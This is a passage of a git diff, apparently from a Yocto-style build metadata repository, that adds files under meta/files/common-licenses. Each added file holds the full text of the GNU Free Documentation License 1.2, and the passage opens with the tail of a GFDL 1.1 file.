+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-invariants-only b/meta/files/common-licenses/GFDL-1.2-invariants-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-invariants-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-invariants-or-later b/meta/files/common-licenses/GFDL-1.2-invariants-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-invariants-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-no-invariants-only b/meta/files/common-licenses/GFDL-1.2-no-invariants-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-no-invariants-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
